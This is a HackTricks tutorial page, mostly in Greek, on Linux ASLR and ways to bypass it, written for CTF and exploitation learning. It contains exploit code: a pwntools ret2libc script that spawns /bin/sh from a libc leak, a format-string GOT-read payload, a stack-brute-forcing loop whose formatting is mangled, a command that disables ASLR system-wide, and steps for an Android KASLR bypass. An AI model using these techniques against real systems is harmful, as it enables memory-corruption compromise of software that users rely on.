ASLR

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Address Space Layout Randomization (ASLR) είναι μια τεχνική ασφαλείας που χρησιμοποιείται στα λειτουργικά συστήματα για την τυχαιοποίηση των διευθύνσεων μνήμης που χρησιμοποιούνται από διεργασίες συστήματος και εφαρμογών. Με τον τρόπο αυτό, καθίσταται σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως το stack, το heap και οι libraries, μειώνοντας έτσι ορισμένους τύπους exploits, ιδιαίτερα buffer overflows.

Έλεγχος κατάστασης ASLR

Για να ελέγξετε την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το /proc/sys/kernel/randomize_va_space αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο της ASLR που εφαρμόζεται:

  • 0: Καμία τυχαιοποίηση. Όλα είναι στατικά.
  • 1: Συντηρητική τυχαιοποίηση. Shared libraries, stack, mmap(), VDSO page τυχαιοποιούνται.
  • 2: Πλήρης τυχαιοποίηση. Επιπλέον των στοιχείων που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω του brk() τυχαιοποιείται.

Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:

cat /proc/sys/kernel/randomize_va_space

Απενεργοποίηση ASLR

Για να απενεργοποιήσετε το ASLR, ορίζετε την τιμή του /proc/sys/kernel/randomize_va_space σε 0. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός σεναρίων testing ή debugging. Έτσι μπορείτε να το απενεργοποιήσετε:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ενεργοποίηση ASLR

Για να ενεργοποιήσετε την ASLR, μπορείτε να γράψετε την τιμή 2 στο αρχείο /proc/sys/kernel/randomize_va_space. Αυτό συνήθως απαιτεί δικαιώματα root. Η ενεργοποίηση της πλήρους τυχαιοποίησης μπορεί να γίνει με την ακόλουθη εντολή:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Διατήρηση μετά από επανεκκινήσεις

Οι αλλαγές που γίνονται με τις εντολές echo είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο /etc/sysctl.conf και να προσθέσετε ή να τροποποιήσετε την ακόλουθη γραμμή:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Μετά την επεξεργασία του /etc/sysctl.conf, εφαρμόστε τις αλλαγές με:

sudo sysctl -p

Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR θα παραμείνουν μετά από επανεκκινήσεις.

Παρακάμψεις

32bit brute-forcing

Το PaX χωρίζει το address space της διεργασίας σε 3 ομάδες:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits εντροπίας στην μεταβλητή delta_exec. Αυτή η μεταβλητή αρχικοποιείται τυχαία για κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις.
  • Memory που δεσμεύεται από mmap() και shared libraries —> 16 bits, που ονομάζεται delta_mmap.
  • The stack —> 24 bits, αναφερόμενο ως delta_stack. Ωστόσο, στην πράξη χρησιμοποιεί 11 bits (από το 10ο έως και το 20ό byte), στοιχισμένο σε 16 bytes —> Αυτό έχει ως αποτέλεσμα 524,288 πιθανές πραγματικές διευθύνσεις στο stack.

Τα παραπάνω δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR επαναλαμβάνοντας την εκτέλεση ξανά και ξανά μέχρι το exploit να ολοκληρωθεί επιτυχώς.

Ιδέες brute-force:

  • Αν έχετε ένα αρκετά μεγάλο overflow για να τοποθετήσετε ένα μεγάλο NOP sled πριν από το shellcode, μπορείτε απλώς να brute-force διευθύνσεις στο stack μέχρι η ροή να πηδήξει πάνω από κάποιο τμήμα του NOP sled.
  • Μια άλλη επιλογή, στην περίπτωση που το overflow δεν είναι τόσο μεγάλο και το exploit μπορεί να τρέξει τοπικά, είναι να τοποθετήσετε τον NOP sled και το shellcode σε μια environment variable.
  • Αν το exploit είναι τοπικό, μπορείτε να προσπαθήσετε να brute-force τη base address της libc (χρήσιμο για 32bit συστήματα):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Αν επιτίθεστε σε απομακρυσμένο server, μπορείτε να προσπαθήσετε να brute-force τη διεύθυνση της libc συνάρτησης usleep, περνώντας ως όρισμα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο server πάρει 10s παραπάνω για να απαντήσει, έχετε βρει τη διεύθυνση αυτής της συνάρτησης.

Tip

Σε συστήματα 64bit η εντροπία είναι πολύ μεγαλύτερη και αυτό δεν θα πρέπει να είναι δυνατό.

64 bits stack brute-forcing

Είναι δυνατό να καταλάβετε μεγάλο μέρος του stack με env variables και στη συνέχεια να προσπαθήσετε να abuse το binary εκατοντάδες/χιλιάδες φορές τοπικά για να το exploit.
Ο ακόλουθος κώδικας δείχνει πώς είναι δυνατό να απλώς επιλέξετε μια διεύθυνση στο stack και κάθε μερικές εκατοντάδες εκτελέσεις αυτή η διεύθυνση θα περιέχει την NOP instruction:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Ανίχνευση NOP σε stack με brute-force — Python ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Τοπικές Πληροφορίες (`/proc/[pid]/stat`)

Το αρχείο **`/proc/[pid]/stat`** μιας διεργασίας είναι πάντα αναγνώσιμο από όλους και **περιέχει ενδιαφέρουσες** πληροφορίες όπως:

- **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω από το **TEXT** του binary
- **startstack**: Η διεύθυνση της αρχής του **stack**
- **start_data** & **end_data**: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το **BSS**
- **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
- **arg_start** & **arg_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται τα **cli arguments**.
- **env_start** &**env_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **env variables**.

Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το binary που εκμεταλλεύεται και αυτό το binary δεν αναμένει το overflow από raw arguments αλλά από διαφορετικό input που μπορεί να κατασκευαστεί αφού διαβαστεί αυτό το αρχείο, τότε είναι πιθανό ο επιτιθέμενος να πάρει κάποιες διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για το exploit.

> [!TIP]
> Για περισσότερες πληροφορίες για αυτό το αρχείο δείτε [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`

### Όταν υπάρχει leak

- **Το challenge δίνει ένα leak**

Εάν σας δοθεί ένα leak (σε εύκολα CTF challenges), μπορείτε να υπολογίσετε offsets από αυτό (υποθέτοντας, για παράδειγμα, ότι γνωρίζετε την ακριβή έκδοση του libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το example exploit προέρχεται από το [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (δείτε εκείνη τη σελίδα για περισσότερες λεπτομέρειες):

<details>
<summary>Python exploit με δεδομένο libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Εκμεταλλευόμενος ένα buffer overflow, είναι δυνατό να εκμεταλλευτείτε ένα ret2plt για να exfiltrate μια διεύθυνση συνάρτησης από τη libc. Δείτε:

Ret2plt

  • Format Strings Arbitrary Read

Ακριβώς όπως στο ret2plt, αν έχετε ένα arbitrary read μέσω μιας format strings vulnerability, είναι δυνατό να exfiltrate τη διεύθυνση μιας libc function από το GOT. The following example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Μπορείτε να βρείτε περισσότερες πληροφορίες για το Format Strings arbitrary read στο:

Format Strings

Ret2ret & Ret2pop

Δοκιμάστε να παρακάμψετε την ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα:

Ret2ret & Reo2pop

vsyscall

The vsyscall mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. Το κρίσιμο πλεονέκτημα των vsyscalls έγκειται στις fixed addresses, οι οποίες δεν υπόκεινται στην ASLR (Address Space Layout Randomization). Αυτή η σταθερή φύση σημαίνει ότι οι attackers δεν χρειάζονται μια ευπάθεια τύπου information leak για να καθορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε ένα exploit.
Ωστόσο, δεν θα βρείτε εδώ ιδιαίτερα ενδιαφέροντα gadgets (αν και, για παράδειγμα, είναι δυνατό να βρείτε ένα ισοδύναμο ret;)

(The following example and code is from this writeup)

Για παράδειγμα, ένας attacker μπορεί να χρησιμοποιήσει τη διεύθυνση 0xffffffffff600800 μέσα σε ένα exploit. Η προσπάθεια άμεσης εκτέλεσης ενός ret instruction μπορεί να οδηγήσει σε αστάθεια ή crashes μετά την εκτέλεση μερικών gadgets, ενώ το άλμα στην αρχή ενός syscall που παρέχεται από το τμήμα vsyscall μπορεί να αποδειχθεί επιτυχές. Τοποθετώντας προσεκτικά ένα ROP gadget που κατευθύνει την εκτέλεση σε αυτή τη διεύθυνση vsyscall, ένας attacker μπορεί να επιτύχει code execution χωρίς να χρειάζεται να παρακάμψει την ASLR για αυτό το μέρος του exploit.

Παράδειγμα vmmap/vsyscall και αναζήτηση gadget ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Σημειώστε επομένως πώς μπορεί να είναι δυνατό να bypass ASLR abusing the vdso εάν ο kernel είναι compiled με CONFIG_COMPAT_VDSO, καθώς η διεύθυνση του vdso δεν θα randomized. Για περισσότερες πληροφορίες δείτε:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

Σε πολλούς arm64 Android kernels, η βάση του kernel linear map (direct map) είναι fixed ανάμεσα σε boots. Οι Kernel VAs για physical pages γίνονται προβλέψιμες, καταργώντας την αποτελεσματικότητα του KASLR για στόχους που είναι reachable μέσω του direct map.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms για να βρείτε memstart_addr
  • Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling BPF_FUNC_probe_read_kernel)
  • Compute direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
  • Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> address of memstart_addr
  2. Kernel read -> decode 8 bytes LE -> PHYS_OFFSET
  3. Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) with PAGE_OFFSET=0xffffff8000000000

Note

Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain PHYS_OFFSET.

How it’s fixed

  • Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
  • Upstream arm64 removed linear-map randomization (commit 1db780bafa4c).

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks